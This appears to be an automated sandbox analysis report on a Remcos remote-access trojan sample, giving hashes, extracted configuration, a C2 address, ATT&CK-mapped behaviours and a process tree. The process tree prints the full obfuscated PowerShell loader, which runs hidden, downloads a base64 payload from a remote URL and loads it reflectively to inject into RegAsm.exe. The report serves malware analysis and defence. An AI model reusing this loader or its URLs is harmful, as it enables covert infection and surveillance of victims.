remcos | f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41

General

Target

f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41.vbs
Size

283KB
MD5

0c6c4542c1abc5fc3d5eab3e4ab3793a
SHA1

288dfb240061530c2c73ae4183b7330623e94a69
SHA256

f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41
SHA512

7c3e22629060d8b18f1e88cbcb946d470599ac14699c75a7c1bf5cec0e174b8b3552eb6ec580defa747cb4cd5d9bfcc56e4ee9aa3dd366ed4272f88718ed8e2b
SSDEEP

6144:krHUuR5e0zLMcgGkkurXmTX/lb+rsb4Okiy+3kPvvA:kr0uR5e0nMc/kLrWTX/lb+rsb4Okiy47

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

RemoteHost

C2

45.90.89.98:8243

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
loat
keylog_path
%Temp%
mouse_option
false
mutex
Rmc-O0U3JA
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	1560	powershell.exe
24	1560	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2320	powershell.exe
1560	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1560 set thread context of 3240	1560	powershell.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2320	powershell.exe
2320	powershell.exe
1560	powershell.exe
1560	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	1560	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3240	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3248 wrote to memory of 2320	3248	WScript.exe	83
PID 3248 wrote to memory of 2320	3248	WScript.exe	83
PID 2320 wrote to memory of 1560	2320	powershell.exe	85
PID 2320 wrote to memory of 1560	2320	powershell.exe	85
PID 1560 wrote to memory of 3240	1560	powershell.exe	95
PID 1560 wrote to memory of 3240	1560	powershell.exe	95
PID 1560 wrote to memory of 3240	1560	powershell.exe	95
PID 1560 wrote to memory of 3240	1560	powershell.exe	95
PID 1560 wrote to memory of 3240	1560	powershell.exe	95
PID 1560 wrote to memory of 3240	1560	powershell.exe	95
PID 1560 wrote to memory of 3240	1560	powershell.exe	95
PID 1560 wrote to memory of 3240	1560	powershell.exe	95
PID 1560 wrote to memory of 3240	1560	powershell.exe	95
PID 1560 wrote to memory of 3240	1560	powershell.exe	95
PID 1560 wrote to memory of 3240	1560	powershell.exe	95
PID 1560 wrote to memory of 3240	1560	powershell.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1560
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:3240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
81d91bab2fdd72436e4852d94ea7650d

SHA1
5652b3c46a0cf75a03859c5707f36fb08f5c631a

SHA256
68a3392780a3c6219350a2ca51262a74a2a9d6a1ea84686f38d473f37d0588e1

SHA512
df1e3da61c9657a7f0c0eac9ce610798421e138259ec2bf41063b8e8eb8e1c9e6d669aaba675ba16ccdceed1aa3f76b482893dc98f3d6b46cd48d61da7669268

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
235a8eb126d835efb2e253459ab8b089

SHA1
293fbf68e6726a5a230c3a42624c01899e35a89f

SHA256
5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

SHA512
a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lakllut2.gm5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\loat\logs.dat

Filesize
144B

MD5
9258832c4f7d074165d6b17b051d67b1

SHA1
70a22c90877ba7149c9c29af94e4dd1276c2605a

SHA256
c89c3aa6f90f4ffbbfab8f92478189e9bf93f52a26eb2e1fc4ce8c1aeba83bc4

SHA512
bafa07e7e2f61b4bce69dfeaea95be25ee82ff19ba456ea0edcbb223375e6bb2f0d7a2a9ff6fab509cd6accb8456baeaa11a6a9427e04a7953a9fbec8e6a63af

Download Submit
memory/1560-22-0x000001247E7C0000-0x000001247E9CC000-memory.dmp

Filesize
2.0MB

Download
memory/1560-26-0x000001247E030000-0x000001247E24C000-memory.dmp

Filesize
2.1MB

Download
memory/2320-0-0x00007FF8DA9F3000-0x00007FF8DA9F5000-memory.dmp

Filesize
8KB

Download
memory/2320-10-0x00000144B7860000-0x00000144B7882000-memory.dmp

Filesize
136KB

Download
memory/2320-11-0x00007FF8DA9F0000-0x00007FF8DB4B1000-memory.dmp

Filesize
10.8MB

Download
memory/2320-12-0x00007FF8DA9F0000-0x00007FF8DB4B1000-memory.dmp

Filesize
10.8MB

Download
memory/2320-30-0x00000144B7470000-0x00000144B768C000-memory.dmp

Filesize
2.1MB

Download
memory/2320-31-0x00007FF8DA9F0000-0x00007FF8DB4B1000-memory.dmp

Filesize
10.8MB

Download
memory/3240-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-52-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-32-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-23-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-51-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-34-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-65-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3240-78-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads